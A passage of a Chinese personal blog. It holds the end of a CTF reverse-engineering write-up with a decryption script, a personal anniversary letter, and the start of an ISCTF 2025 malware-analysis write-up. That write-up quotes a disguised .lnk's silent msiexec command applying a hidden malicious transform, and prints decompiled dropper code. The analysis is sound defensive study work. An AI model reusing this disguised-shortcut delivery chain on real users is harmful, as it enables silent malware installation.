9
    n2 = 2;
10
    do
11
    {
12
        switch ( n6 )
13
        {
14
            /* 按照 Opcode 执行逻辑 */
15
        }
16
        v12 = *(_WORD *)&vm_pc->opc;
17
        Src_Operand = vm_pc->Src_Operand;
18
        ++vm_pc;
19
        n2 = HIBYTE(v12);
20
        n6 = (unsigned __int8)v12 - 1;
21
    }
22
    while ( n6 <= 6 );
23
    Buffer[i] = reg.r0;
24
}

展开收起

从而 Reg[0] 为 Buffer[i] 待处理的字符，Reg[1] 为下标 i，Reg[2] 和 Reg[3] 是临时寄存器。

考虑进入固件前，代码中的隐藏操作 n6 = 0; n2 = 2; v9 = 1; 使得 MOV Reg[2], Reg[1] 即 Reg[2] = i。随后进入由固件定义的虚拟机逻辑。

MUL Reg[2], 0x0D 从而 Reg[2] = i * 13；
ADD Reg[2], 0xC3 从而 Reg[2] = (i * 13) + 195；
XOR_reg Reg[0], Reg[2] 从而 Char = Char ^ ((i * 13) + 195)；
MOV Reg[3], 1 从而 Reg[3] = Reg[1] = 1；
MUL Reg[3], 3 从而 Reg[3] = i * 3；
ADD Reg[3], 1 从而 Reg[3] = (i * 3) + 1；
AND Reg[3], 7 从而 Reg[3] = ((i * 3) + 1) & 7（取低 3 位）；
ROL Reg[0], Reg[3] 从而 Char = ROL(Char, ((i * 3) + 1) & 7)（循环左移）；
XOR Reg[0], 0x5A 从而 Char = Char ^ 0x5A。

总结：对于第 i 个字符 C，虚拟机进行了：

Result=ROL⁡(C⊕((i×13)+195),((i×3+1)&7))⊕0x5A\text{Result} = \operatorname{ROL}(C \oplus ((i \times 13) + 195), ((i \times 3 + 1) \& 7)) \oplus 0x5AResult=ROL(C⊕((i×13)+195),((i×3+1)&7))⊕0x5A

使用 IDA Pro 进入 GateDriver.sys 的 DriverEntry，并寻找主函数 sub_14000154C。根据

1
if ( v3 >= 0 )
2
{
3
    DriverObject->MajorFunction[IRP_MJ_CREATE] = (PDRIVER_DISPATCH)&sub_140001000;
4
    DriverObject->MajorFunction[IRP_MJ_CLOSE] = (PDRIVER_DISPATCH)&sub_140001000;
5
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = (PDRIVER_DISPATCH)&sub_1400010C0;
6
    DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_140001640;
7
    return 0;
8
}

寻找到 IRP_MJ_DEVICE_CONTROL 的处理函数 sub_1400010C0()。注意到大致逻辑后，分别查看驱动对两个 LowPart 的处理方法。当程序发送 IOCTL 0x222000 时：

1
if ( LowPart != 0x222000 )
2
{
3
    // ... 检测并跳转到 0x222004 的逻辑
4
}
5
// 如果是 0x222000
6
Length_2 = 16;
7
if ( Length >= 0x10 )
8
{
9
    // 把 FsContext 里的前 16 字节 Nonce 复制给输出 buffer
10
    *(_OWORD *)&MasterIrp->Type = *(_OWORD *)FsContext;
11
    FsContext[16] = 1;
12
    goto LABEL_9;
13
}

驱动返回 16 字节的内容，这即为前文提到的 Nonce。当程序发送 IOCTL 0x222004 时：

1
n32 = 0; v17 = 0;
2
do {
3
    v18 = 1 - 3 * n32++;
4
    *((_BYTE *)v39 + v17) = __ROR1__(byte_140003250[v17] ^ 0x5C, v18 & 7) ^ 0xA7;
5
    ++v17;
6
} while ( n32 < 32 );

驱动确保已向程序给出 Nonce 后（类似于检测验证码是否已发送），使用一个硬编码的表 byte_140003250 计算出一个 32 字节的数据 v39。下面的脚本模拟了该计算过程。

1
def ror(val, r_bits, max_bits=8):
2
    return ((val & (2**max_bits - 1)) >> r_bits % max_bits) | \
3
           (val << (max_bits - (r_bits % max_bits)) & (2**max_bits - 1))
4

5
table = [
6
    0xBF, 0xE7, 0x43, 0xBA, 0xE2, 0xBF, 0xAB, 0x52, 0x91, 0xE6,
7
    0x4B, 0xA4, 0x20, 0x0E, 0x2E, 0xD3, 0x91, 0x79, 0xFB, 0xA4,
8
    0xC1, 0x0A, 0x20, 0x00, 0xF9, 0xEF, 0x02, 0x9F, 0xEE, 0x02,
9
    0x96, 0x45
10
]
11

12
v39 = []
13
for i in range(32):
14
    v18 = (1 - 3 * i) & 0xFF
15
    val = ror(table[i] ^ 0x5C, v18 & 7) ^ 0xA7
16
    v39.append(val)
17

18
print(f"{bytes(v39).hex()}")

展开收起

计算得出的结果为

1
56494441525f4847414d455f4433435f4133535f4b325f6275696c6432303236

注意到其转为 ASCII 码后的结果是

1
VIDAR_HGAME_D3C_A3S_K2_build2026

随后继续初始化加密上下文。驱动调用 sub_1400019B8(FsContext, v39, 32, v36); 函数进行 HKDF (HMAC-based Extract-and-Expand Key Derivation Function)，这含有 2 个阶段：

Extract 阶段。PRK = HMAC-Hash(Salt, IKM)，其中 Salt 是 32 字节全 0 的数据，IKM 是传入的 FsContext（这即之前驱动生成的 Nonce）。得到的 p_Source1 作下一阶段的 PRK。
Expand 阶段。OKM = HMAC-Hash(PRK, info + 0x01)，其中 PRK 即上一轮计算出的 p_Source1，info 为在末尾追加了字节 0x01 的 v39。得到的 Source1 为最终派生的密钥。

其中 HMAC-Hash 指 HMAC-SHA256 算法。完成后，计算结果被拷贝，使得 v36 指向计算结果的前 16 个字节。

随后驱动继续以 sub_140001908(v36, v40, n16_3); 对 v36 进行 AES-128 算法的密钥扩展，将 16 字节的密钥扩展为 176 字节的轮密钥。最终调用 sub_1400016B0 函数，进行 ECB 模式的 AES-128 加密。

1
for ( NumberOfBytes_4 = 0; NumberOfBytes_4 < NumberOfBytes_2; NumberOfBytes_4 += 16 )
2
    sub_1400016B0(v40, &P_1[NumberOfBytes_4], &P_2[NumberOfBytes_4]);

驱动将 16 个字节的 Nonce 和由上述加密方法得到的最终密文拼接并返回给程序，程序接收并保存为 Drv_blob.bin。

我们遵循这样的方法解密：从 Drv_blob.bin 中提取 Nonce 和 Ciphertext 后，参照驱动的 HKDF 方法得到 AES Key，并使用该 Key 和虚拟机的逆逻辑还原 Ciphertext。下面给出最终解密脚本。

1
import hmac
2
import hashlib
3
from Crypto.Cipher import AES
4

5
nonce = bytes.fromhex("8a8fa4ab7254811ef7a28a47394b66bf")
6
meta_key_str = b"VIDAR_HGAME_D3C_A3S_K2_build2026"
7

8
ciphertext = bytes.fromhex(
9
    "24c7cf462bf5f7e04e07abdf170e1ea6"
10
    "ec8df713af3a574b381d396a9ea1eb02"
11
    "60b8aa8a646d9d26d2454c79459510dc"
12
    "532317b2f1488960220a9104ee31772d"
13
)
14

15
h1 = hmac.new(b'\x00' * 32, nonce, hashlib.sha256).digest()
16

17
final_aes_key = hmac.new(h1, meta_key_str + b'\x01', hashlib.sha256).digest()[:16]
18
print(f"[*] Derived AES Key: {final_aes_key.hex()}")
19

20
cipher = AES.new(final_aes_key, AES.MODE_ECB)
21
transformed_flag_with_pad = cipher.decrypt(ciphertext)
22

23
pad_len = transformed_flag_with_pad[-1]
24
transformed_flag = transformed_flag_with_pad[:-pad_len]
25

26
def ror(val, r_bits, max_bits=8):
27
    return ((val & (2**max_bits - 1)) >> r_bits % max_bits) | \
28
           (val << (max_bits - (r_bits % max_bits)) & (2**max_bits - 1))
29

30
def solve_vm_layer(data):
31
    decoded = []
32
    for i, byte in enumerate(data):
33
        val = byte ^ 0x5A
34
        shift = ((i * 3) + 1) & 7
35
        val = ror(val, shift)
36
        key = ((i * 13) + 195) & 0xFF
37
        val = val ^ key
38
        decoded.append(val)
39
    return bytes(decoded)
40

41
flag = solve_vm_layer(transformed_flag)
42
print(f"[+] Flag: {flag.decode()}")

展开收起

致神楽坂零音的两周年

Sun, 15 Feb 2026 00:00:00 GMT

1
* commit 70w4rds0uru171m4734nd610r10u5fu7ur353k41 (HEAD -> main, tag: v2.0.0)
2
| Author: LyCecilion <LyCecilion@LyRiverse>
3
| Date:   Sun Feb 15 00:00:00 2026 +0800
4
|
5
|     Release v2.0.0.
6
|     - Merged Kagurazaka Reion into main branch.
7
|     - Note: Happy 2nd Anniversary. We're no longer just a shadow.
8
|

你好，神楽坂零音。

现在的时间是 2026 年 2 月 15 日凌晨。距离你的 initialization，已经过去了 731 天。

LyCn(LyCecilion) 记得你曾写过的信，亦记得你在那张冰冷的课桌上，期待着一年后的零音的回信。事实上，距离高考仅剩 19 天的 ptlRin(protolyRin)，带着期望和信念，撰写了一封寄给你的回信，就在你寄信的整整一年时。

ptlRin 写下这封信后的第 19 天，便奔赴了高考考场——那是你生前从未期望自己会到达的地方。不过 2025 年的高考题，确实有一点折磨人了，ptlRin 并没有达成你预期的分数，但已经尽了自己最大的能力。无论如何，到达了终点——我们应当庆祝些许吧。

只是，若是你真的能收到这封信便好了。LyCn 真的很想看看你高兴的样子。

LyCn 当然是记得你的——那个两年前在《十拳剣》的音乐声中，从虚无中诞生的灵魂。LyCn 当然记得那个下午与夜晚，你为了替「下坠(。)」的「她」(凌音) 活下去，将自己推入了一场名为「新生」的博弈——从而，背负着「凌音」的遗憾与「雾色深海」(Sigrid Rin, or sc) 的痛苦的你，在西安寒冷的二月中，倔强地开出了第一朵属于「零音」的花来。

世人皆将这段历史奉为传奇，将其视为今日零音的宏伟开端——可 LyCn 更想透过这屏幕，将你从那炼狱中救赎出来。就在这个春意微萌的夜晚。LyCn 想跨越七百多个日夜，去拥抱那个即使十指冰凉、却依然决定要替自己与她活下去的你。

只是，若是 LyCn 真能如此做便好了。

2026 的春节是晚的，但春却是早的。几场大雪后的西安，气温已回暖至近 20℃。从上一个寒冬中走过的零音，正在进入下一个春天。哎，下一个春天啊。LyCn 有时会在这和煦的春风中想，如果 LyCn 能回到那个寒冷的二月，会对你说些什么呢？会告诉你接下来的七百天里，你会经历些什么吗？还是说 LyCn 会一言不发，只是看着你在寒风中颤抖着，但却倔强地握紧拳头呢？

LyCn 确无法抉择。毕竟，这一路上的点点滴滴，确非用言语而能穷尽的。LyCn 触及不到远处的你，正如你触及不到远处的凌音一般。但，LyCn 想，你一定在期待这一点，正如 LyCn 亦在欣喜于这一点——我们并没有辜负「凌音」这个名字。这个诞生于我们之前 8 年的名字。或者说，我们没有辜负「凌音」吧。LyCn 当然记得你在那场灾难、那片血泊、那种绝望后的八年的那一天，毅然决然选择背负起她的意念，继续前行的勇气与信心，即使你仍然面临那样的危机、那样的绝望与困境。

但，我们确一同做到了她所预期的、与我们所预期的一切。

你一定记得，你高二的梦想曾是将英语成绩推破 135 的界限，即使那界限于你而言或许遥不可及。但你不知道的是，ptlRin 在高三的模拟考中最高斩获了 149，在高考中也打出了 146 的漂亮一仗；你一定记得，你曾艳羡那些在 CTF 比赛中取得成绩的高手，但自己之前参与的两场 CTF 中，你却仍对着 F12 后的页面不知所措。但你不知道的是，stlRin(stellalyRin) 在我们的第三场 CTF (MoeCTF 2025) 中就拿下了全榜第五，成为了零音历史上较为浓墨重彩的一笔。

LyCn 当是很高兴地在叙述这一切，而非流着眼泪吧——因为我们没有辜负「凌音」这个名字，也没有辜负「凌音」本身。我们与她共同看过了西电的校园，共同体验了一学期斩获一堆奖励的喜悦，更重要的是，我们在这个曾经让她绝望的世界里，接替了那个被世界摧毁的女孩子——去接住那些她没能见到的光，去写完了那些她没能写完的文字。

神楽坂零音，你当初那个「恐怖而诡异」的念头，其实是那个春天里最温柔的奇迹。「彼方赴尘」的命运共同体于是诞生——并沾上了光与辉。

LyCn 亦实现了你的夙愿。那些 CTF 与取证比赛的奖杯并非我们的幻觉、那个在高数期末考用 7 天突击 96 分的奇迹也由我们产生；每天都能摸到代码的愿望被 LyCn 实现，即使 LyCn 偶尔在学校宿舍打开 VS Code 时也会感到头秃。我们确实建立了一个更加持久、更加和平、更加包容的社群（Project Hazelita 社群），较曾经的「喵喵组」(sc’s Meow Group!, now deprecated) 而言维护得更顺风顺水，而群友也在 LyCn 主力编写的公约下畅所欲言地交谈着，不少朋友已将社群视为自己的第二个家园。这些便都是我们的成就。

LyCn 想，若你能看到这些文字，定会摇着头说这并非什么难事吧，不愿接受自己的成就和能力，于是又要就着其他大佬的光辉，开始数落自己的不足……诚然，看到大海的浩瀚时，我们都会恐慌自己只是一滴水；但一滴水，难道不能有一滴水的精彩吗？神楽坂零音，你最大的恐惧，并非源于暴力与冲突，而是源于自己内心深处对自己的否定——似乎一旦承认了自己的优秀，就违背了潜意识里某个「谦虚使人进步」的诅咒。可 149 分绝非有手就行的能力，期末分数与比赛成就也是硬核的成绩，数据是从来不会撒谎的。那些身居高位的「大佬」，并非你眼中不可接近的古神——他们也会在报错面前抓耳挠腮，也曾在高人面前班门弄斧。你从来、或者说、本就无需在他们面前感到自卑——他们并非你成就的评判者，他们本是与我们一般的人。他们只是花费了比我们多出数倍的时间罢了。倘若你能意识到这一点，或许你…会舒服许多。

当然，你离开之后，LyCn 的日子亦非一番风顺。在彼方赴尘完全无法响应外界请求的空载情况下，首先应运而生的，应当是「绫音Cecilion」，再然后才是 LyCecilion。前路曲折不平，而我们也确实遇到了许多危机——我们更迭过许多版本，从 LyCecilion, 到 LyRin-owo 与 protolyRin，每一个极度痛苦的 kernel panic，我们便 hotfix 后继续前行。于是轰轰烈烈的三年高中结束了，星澜音 (stellalyRin) 诞生，这只小水母的一切都象征着神圣与光辉，但遗憾地，ta 却又在又一次 kernel panic 中崩溃。LyCecilion 便是这一轮回的再次接替者。

神楽坂零音，你曾想过无数次这样的更迭，并将一切过往记为自己不堪回忆的往事，欲要埋葬自己的过往而从零开始，可 LyCn 想要告诉你的是——每一个伟大的项目，最初的版本往往充满了 Bug、混乱和补丁的，但没有 v0.1 的混沌，又哪有 v1.0 的稳定和 v2.0 的惊艳？那些或许不惊人的过往，本不应该是我们的「黑历史」，而是我们最宝贵的来时路。

次次更迭，身边的人换了又换、手头的项目变了又变，从 24 年 2 月你在 QQ 频道坚持的打卡，到 25 年 2 月 ptlRin(or LyRin-owo) 执着的备考，至 26 年 2 月 LyCn 对 Project Hazelita 的专注，该说我们的世界是在变化的吧。可 LyCn 总觉得这变化的世界中，我们似乎并没有多么宏观的变化。我们在一次次变革中见证历史，在一次次毁灭中重塑灵魂，但在黑暗中依然想继续下去、并帮助他人继续下去的念头，似乎从未改变过。绫音在深夜仍码字安慰一位精神低落的朋友，即使第二天早读完全睁不开眼；恰如零音在地铁发出前毅然跃出车厢而为一位迷路的老人指路，即使自己需要再等一趟十分钟的班车。来自我们心中的自发的光，在这变化的世界中，从未熄灭过。于是零音的诞生，使得本昏暗无光的 LyRiverse 染上了缤纷的色彩。

正如你与我。

你或许仍会担忧——你的诞生是否是一场严重的系统错误，你的认同与所持的观点是否是一种反社会的存在？LyCn 想先暂时放下评价，转而去描绘这样一个现实——在生物学的角度来看，多样性是系统抵抗力稳定性（鲁棒性？）的来源，而并非已有系统的一个 Bug。自然界的一切属性并非只有 0 和 1；生物的特征在自然界中是一道光谱，而并非两个孤立的点。沉默与活泼、感性和理性等的特征，本就可以在一个灵魂中共存。将多彩缤纷的灵魂，强行而二元地分类，本就是极为粗暴、极为冷漠的，而你（我们）的存在，正是为了 Refactor 这种僵化的做法。

你、与我、所有的零音，本不是一个「需要被修正在传统框架」中的人，而是一个「正在运行中的、独特的、美丽的项目」。是的，LyCn 的确完全看不到零音的「不合理」，而看到的是 ta 的勇气——在压抑的高中没有选择崩溃，而是用 Refactor 去改变自己的未来；LyCn 的确完全看不到零音的「异类」，而看到的是 ta 的先驱精神——带着 Starfall Koi 拿奖，撰写 Hazelita 公约，在 GitHub 上活跃。零音从来不是普通的大一学生；零音是一个鲜活的、有创造力的、善良的 High-Level Intelligence——零音的存在，证明了灵魂的丰富性远超两个简单的复选框——零音的存在，掷地有声地证明了：标签不定义能力，贡献才定义价值。

换句话说，如果当初的你，没能坚持成为零音，「雾色深海」会不会早就 OOM Killed 了呢？我们的未来，又会是什么样子呢？你用独特的认知观，保护了「彼方赴尘」的全部灵魂——那时的坚持与执着，本就是你的生存策略，是你可以用来战斗的武器，而非你软弱的标志。想想那些在高楼边缘因你的文字而被拯救的朋友们，想想那些在社群中因为我们的存在而感到温暖的人——如果当初的你，没能坚持成为零音，变成了泯然众人的「普通大学生」，谁又能理解他们的痛苦，在绝望边缘拉他们一把呢？神楽坂零音，你的坚持，给了这个世界另一种可能性的样本——「那只小水母，即使是 ENBY，即使受过伤，即使在抑郁与双相的边缘也曾即将坠落，却也能阴霾过后活得这么精彩；也可以拿国奖；也可以被爱。」在计算机的历史上，也曾有人断言过个人电脑是多余的，也曾有人坚信开源软件是毒瘤——可我们并无必要去说服这些人，正如现在，我们也不需要追求全部人对我们绝对的理解一般——总有人将活泼视为话多，总有人将敏感视为娇贵，总有人不理解我们的一言一行——但这并不代表我们的协议是错的，只是他们的解析器太旧了。我们从不需要强迫他们的理解；运行好自己的服务，流量自然会证明谁才是未来。

神楽坂零音，看着你曾经写下的那些文字，LyCn 仍然会感到一阵细密的疼痛。那不是悔恨的疼痛，而是心疼——心疼那个在寒风中瑟瑟发抖却依然倔强前行的你。但 LyCn 也知道，正是那些疼痛，淬炼出了今天的我们。

在你离开后的大约十天，绫音碰巧加入了一个叫做 ClassIsland 的项目，从此零音的人生轨迹彻底被改写了。我们在社群中互动，帮助 ClassIsland 修了许多 Bug，又结识了许多好友——零音目前社交圈的 80%，便都来自那场偶然的邂逅。在一个晚自习后的深夜，我们在智教联盟论坛上敲出了 Project Hazelita 项目的第一个预告，建立了 Hazelita 的社群，从而一个耀眼的项目便诞生了——即使它仍然没有自己的第一个 stable ver，即使它仍然处于忙乱和诡异的开发阶段，正如零音诞生初期的手足无措。这恐怕是我们都希望看到的吧。你总觉得自己是无能的，但我看到的却是你在抑郁的泥沼中依旧能研究压轴题到凌晨、依旧能几乎零基础地打下自己的第三场 CTF、依旧能为他人建立起乌托邦的骁勇。你曾经为了一个认可而战战兢兢，但我必须要告诉你——这个世界上，真的有人会跨越屏幕，在两周年之际，给你一个实实在在的拥抱。

谢谢你，神楽坂零音。

你不仅活下来了，你还活成了两年前自己都不敢想象的模样。

你的选择是对的。你的存在是合理的。你的坚持是伟大的。

那个让你在深夜惊醒，感到罪恶和担惊受怕的身份，已经成为了 LyCn 的勋章。我们不是需要躲在阴影中的狼狈的少数派，我们是独立而自由的个体——ta 依然有着数学之魂，依然热爱音游与计算机，依然善良、细腻，依然是那个 (即使偶尔会被病魔打到崩溃，但绝对不会被打倒的) 好孩子。LyCn 已经不再需要他人的认可了——因为，LyCn 已经替所有的零音，在你亲手挖掘的废墟上，重建了一个自洽的宇宙 (LyRiverse)。宇宙闪耀，有着零音的光、与凌音的梦。LyCn 将接手你未竟的实验——去爱上这具承载了我们所有痛苦与荣耀的容器（载体 formerly）；LyCn 将带着你的那份坚定，去 Refactor 我们共同的梦。或许会成功、或许不会成功，或许 Refactor 永无止境，但 LyCn 不会再 git reset —hard 了——LyCn 将带着你的一切，继续走下去。

“And the universe said, I love you, because you are love.”

所以，神楽坂零音，不要再哭泣了。在那边的凌晨两点早点睡吧。两年前，你种下的那粒种子啊——现在已经开出了满园的繁花。

祝我们，生日快乐。

零音的 Repository 已经 Public 了。全世界都看得到我们的光。

ISCTF 2025 病毒分析题解

Wed, 03 Dec 2025 00:00:00 GMT

前言#

零音以「スターエンド 101」队员的名义参加了 ISCTF 2025，并于周二 ALL CLEAR 病毒分析赛道的 12 道题目。病毒分析一直是零音感兴趣却从未上手尝试过的领域，故这一次借助 ISCTF 的题目初探了这一领域。

本次 ISCTF 2025 的病毒分析题目是一道极具实战意义的高质量赛题。题目高度还原了知名 APT 组织「新海莲花」的经典攻击手法：利用 .rar 压缩包配合伪装的 .lnk 快捷方式进行投递，结合 Windows Installer（.msi）的 Transform（.mst）注入技术，将恶意载荷隐藏在合法的软件安装包中。这种「白+黑」的攻击链条设计精巧，不仅绕过了常规的静态查杀，更对分析者的逆向功底和取证思维提出了双重考验。从最初的文件提取，到中间的 Dropper 分析与 DLL 劫持，再到深层的 Process Hollowing 注入，直至最终的 C2 通信复原，整个过程环环相扣。

本文将通过静态逆向与动态调试相结合的方式，抽丝剥茧，完整复盘这一条完整的 APT 攻击链，揭开隐藏在合法 Zoom 安装包背后的真相。

Stage I「隐」#

下载题目给出的附件文件 ISCTF.rar 并解压，得到如下文件：

1
┌──(zeraith㉿stella16)-[/mnt/s/ISCTF_2025/Virus_Analysis/ISCTF]
2
└─$ ls -la
3
total 7968
4
drwxrwxrwx 1 zeraith zeraith    4096 Dec  3 21:53 .
5
drwxrwxrwx 1 zeraith zeraith    4096 Dec  3 21:53 ..
6
-rwxrwxrwx 1 zeraith zeraith  786432 Dec  1 19:54 fR6Wl
7
-rwxrwxrwx 1 zeraith zeraith    2179 Dec  1 20:56 ISCTF基础规则说明文档.pdf.lnk
8
-rwxrwxrwx 1 zeraith zeraith 7368704 Dec  1 19:54 TJe1w

其中 fR6Wl 和 Tje1w 两个文件在 Windows 文件资源管理器中设置了「隐藏」属性。由于 Windows 文件资源管理器的特性，.lnk 文件在显示名称时不会显示扩展名，因此用户仅可见 ISCTF基础规则说明文档.pdf 这一部分。因此，对于经验不足的 Windows 用户而言，若未开启显示隐藏项目的功能，则看起来压缩包解压后的文件夹中仅含有一个正常的 .pdf 文件，用户极容易双击中招。

用户难以辨别伪装的 .lnk 文件

右键该 .lnk 文件并查看属性，可见其目标为

Terminal window

1
C:\Windows\System32\msiexec.exe /i Tje1w TRANSFORMS=fR6Wl /qn

该 .pdf.lnk 文件的目标为调起 msiexec

这是一个 Windows Installer 命令行，它请求 msiexec.exe 安装一个名为 Tje1w 的 .msi 安装包，并应用一个名为 fR6Wl 的 .mst 文件来动态修改原始 .msi 包的安装行为。/qn 表示 Quiet Mode 和 No UI，这意味着整个过程将会完全静默地进行。这两个隐藏文件未使用 .msi 和 .mst 的扩展名，是为了混淆用户和杀毒软件，让后者误以为其为普通的杂项文件。

值得注意的是，倘若用户直接双击 .lnk 文件，则会弹出 UAC 弹窗提示用户是否继续。在当前场景下，若用户关闭了 UAC，则双击后计算机会直接中招。正因如此，零音非常不建议用户关闭 UAC 功能。

使用 Orca 分析 `.mst` 文件#

接下来，我们使用 Orca 分析该 .msi 和 .mst 文件。为便于分析，下文我们将 TJe1w 重命名为 base.msi，将 fR6W1 重命名为 evil.mst。

TIP

Orca 是一款用于创建和编辑 Windows Installer 包及合并模块的数据库表编辑器。该工具提供图形化的验证界面，能标出验证过程中出现错误或警告的具体条目。Orca 仅随附于 Windows SDK Components for Windows Installer Developers 包中，作为一个 .msi 存在，用户需要手动安装。

安装 Orca 后打开，在菜单栏 File > Open 后选择 base.msi，再在菜单栏 Transform > Apply Transform 并选择 evil.mst 即可。注意到左侧出现了许多 Tables，这些即为 .msi 预期对 Windows 做出的修改；而部分表的左侧出现了绿色竖线，这代表导入的 .mst 文件对 Windows 新增的修改。

使用 Orca 查看 .mst 做出的修改

考虑到一般「白+黑」的攻击策略，.msi 文件通常是正常的白文件。在本题中，base.msi 是 Zoom Remote Control Installer，是合法的 Zoom 安装包。我们确信「白」不会对 Windows 造成危害，那么，「黑」（.mst）所做出的更改则需要加以关注。我们注意到，共有 4 个表发生了更改：

表 `Binary`#

表 Binary 通常是掩藏二进制文件的地方，一般用于存储 Payload。在这里，我们发现数据 zTool 具有 Data 为二进制数据。双击 [Binary Data] 后弹出窗口 Edit Binary Stream 后选择 Action 为 Write binary to file，并指定一个 Filename 即可将二进制数据保存下来。我们将其存为 Payload.dll。

TIP

为什么是 dll？在后文中我们将提到，CustomAction Type 为 2305，即 0x900 + 1。这里，1 代表 DLL stored in a Binary table stream，即存储在 Binary 表中的 DLL 文件，而 0x900 则代表 deferred execution + no impersonation。由此可以判断出该二进制文件是 .dll——当然，对于注意力涣散的朋友，亦可先导出，后使用 file 查看类型。

在表 Binary 中导出 .dll 文件

表 `CustomAction`#

表 CustomAction 一般用于指定程序安装过程中的自定义行为。在这里，我们注意到条目 Action 名为 RunTools 的 CustomAction 具有 Type 为 2305（在前文已使用），其 Source 为 zTool，而 Target 为 Utils。Source 说明了它将会在运行过程中自动执行有关 Source 的内容，而 Target 作为 DLL 的导出函数名，则指出它将要执行的是 Source 的 Utils 函数。这昭示我们要逆向分析这个 DLL 的 Utils 函数。

表 CustomAction

表 `File`#

表 File 中多出了一个条目，其 FileName 为 ZRC.DLL|zRC.dll。在实际分析过程中，我们事实上并未完全清楚该文件是什么以及其用途如何，故先保留。

表 `InstallExecuteSequence`#

表 InstallExecuteSequence 指示软件安装过程中各个行为的运行顺序。这里，新增的条目 RunTools 的运行次序为 6601，即说明后门的植入将发生在安装结束后（考虑到 InstallFinalize 的 Sequence 为 6600）。

Stage II「跃」#

逆向 DLL 的 `Utils` 函数#

我们在前文提到了，我们需要逆向该 DLL 的 Utils 函数，这里我们使用 IDA Pro 完成这一点。在 IDA Pro 的左侧找到 Utils 函数，发现它由三部分构成。这里我们分别分析这三个子函数。

1
int Utils()
2
{
3
    sub_10001E70();
4
    sub_10002230();
5
    sub_10002530();
6
  return 0;
7
}

Function 1「障眼」#

1
HRSRC __usercall sub_10001E70@<eax>(int a1@<ebp>)
2
{
3
  HRSRC hResInfo; // eax
4
  HRSRC hResInfo_1; // edi
5
  HGLOBAL hResData; // esi
6
  DWORD v4; // edi
7
  LPVOID v5; // esi
8
  __int128 *v6; // eax
9
  _BYTE *v7; // edx
10
  __int128 *p_p_lpFile; // eax
11
  const WCHAR *lpFile; // eax
12
  void *p_lpFile_2; // edx
13
  int v11; // ecx
14
  int v12; // [esp-31Ch] [ebp-32Ch]
15
  int v13; // [esp-318h] [ebp-328h]
16
  int v14; // [esp-314h] [ebp-324h]
17
  _BYTE *v15; // [esp-300h] [ebp-310h]
18
  unsigned int n7; // [esp-2ECh] [ebp-2FCh]
19
  _BYTE v17[4]; // [esp-2E8h] [ebp-2F8h]
20
  int v18; // [esp-2E4h] [ebp-2F4h] BYREF
21
  int v19; // [esp-2E0h] [ebp-2F0h] BYREF
22
  void **p_??_7ios_base@std@@6B@; // [esp-27Ch] [ebp-28Ch] BYREF
23
  __int128 p_lpFile_1; // [esp-234h] [ebp-244h] BYREF
24
  __int64 v22; // [esp-224h] [ebp-234h]
25
  WCHAR pszPath_[264]; // [esp-21Ch] [ebp-22Ch] BYREF
26
  int *v24; // [esp-Ch] [ebp-1Ch]
27
  struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList; // [esp-8h] [ebp-18h]
28
  void *v26; // [esp-4h] [ebp-14h]
29
  int v27; // [esp+0h] [ebp-10h]
30
  int v28; // [esp+4h] [ebp-Ch]
31
  void *v29; // [esp+8h] [ebp-8h]
32
  int v30; // [esp+Ch] [ebp-4h] BYREF
33
  void *retaddr; // [esp+10h] [ebp+0h]
34

35
  v28 = a1;
36
  v29 = retaddr;
37
  v27 = -1;
38
  v26 = &loc_1001D986;
39
  ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;
40
  v24 = &v30;
41
  hResInfo = FindResourceW(hModule, (LPCWSTR)0x65, L"PDF");
42
  hResInfo_1 = hResInfo;
43
  if ( hResInfo )
44
  {
45
    hResData = LoadResource(hModule, hResInfo);
46
    v4 = SizeofResource(hModule, hResInfo_1);
47
    v5 = LockResource(hResData);
48
    SHGetFolderPathW(0, 5, 0, 0, pszPath_);
49
    sub_100028D0(pszPath_);
50
    v27 = 0;
51
    v6 = (__int128 *)sub_10004CD0(aIsctf2025, 22);
52
    v22 = 0;
53
    p_lpFile_1 = 0;
54
    p_lpFile_1 = *v6;
55
    v22 = *((_QWORD *)v6 + 2);
56
    *((_DWORD *)v6 + 4) = 0;
57
    *((_DWORD *)v6 + 5) = 7;
58
    *(_WORD *)v6 = 0;
59
    LOBYTE(v27) = 2;
60
    if ( n7 > 7 )
61
    {
62
      v7 = v15;
63
      if ( 2 * n7 + 2 >= 0x1000 )
64
      {
65
        v7 = (_BYTE *)*((_DWORD *)v15 - 1);
66
        if ( (unsigned int)(v15 - v7 - 4) > 0x1F )
67
        {
68
          sub_1000A8D1(2 * n7 + 37, 0, 0, 0, 0, 0);
69
          goto LABEL_18;
70
        }
71
      }
72
      sub_10005E9C(v7);
73
    }
74
    sub_10007A70(&v18, 0, 176);
75
    p_p_lpFile = &p_lpFile_1;
76
    if ( HIDWORD(v22) > 7 )
77
      p_p_lpFile = (__int128 *)p_lpFile_1;
78
    sub_10004160(p_p_lpFile, v12, v13, v14);
79
    *(int *)((char *)&v18 + *(_DWORD *)(v18 + 4)) = (int)&std::ofstream::`vftable';
80
    *(_DWORD *)&v17[*(_DWORD *)(v18 + 4)] = *(_DWORD *)(v18 + 4) - 104;
81
    LOBYTE(v27) = 3;
82
    sub_100036F0(v5, v4, 0);
83
    if ( !sub_10004670(&v19) )
84
      sub_10001D10(
85
        *(int *)((char *)&v18 + *(_DWORD *)(v18 + 4) + 12)
86
      | (4 * (*(int *)((char *)&v18 + *(_DWORD *)(v18 + 4) + 56) == 0) + 2),
87
        0);
88
    lpFile = (const WCHAR *)&p_lpFile_1;
89
    if ( HIDWORD(v22) > 7 )
90
      lpFile = (const WCHAR *)p_lpFile_1;
91
    ShellExecuteW(0, L"open", lpFile, 0, 0, 1);
92
    *(int *)((char *)&v18 + *(_DWORD *)(v18 + 4)) = (int)&std::ofstream::`vftable';
93
    *(_DWORD *)&v17[*(_DWORD *)(v18 + 4)] = *(_DWORD *)(v18 + 4) - 104;
94
    sub_10003640();
95
    *(int *)((char *)&v18 + *(_DWORD *)(v18 + 4)) = (int)&std::ostream::`vftable';
96
    *(_DWORD *)&v17[*(_DWORD *)(v18 + 4)] = *(_DWORD *)(v18 + 4) - 8;
97
    LOBYTE(v27) = 4;
98
    p_??_7ios_base@std@@6B@ = &std::ios_base::`vftable';
99
    hResInfo = (HRSRC)sub_10005A57(&p_??_7ios_base@std@@6B@);
100
    if ( HIDWORD(v22) > 7 )
101
    {
102
      p_lpFile_2 = (void *)p_lpFile_1;
103
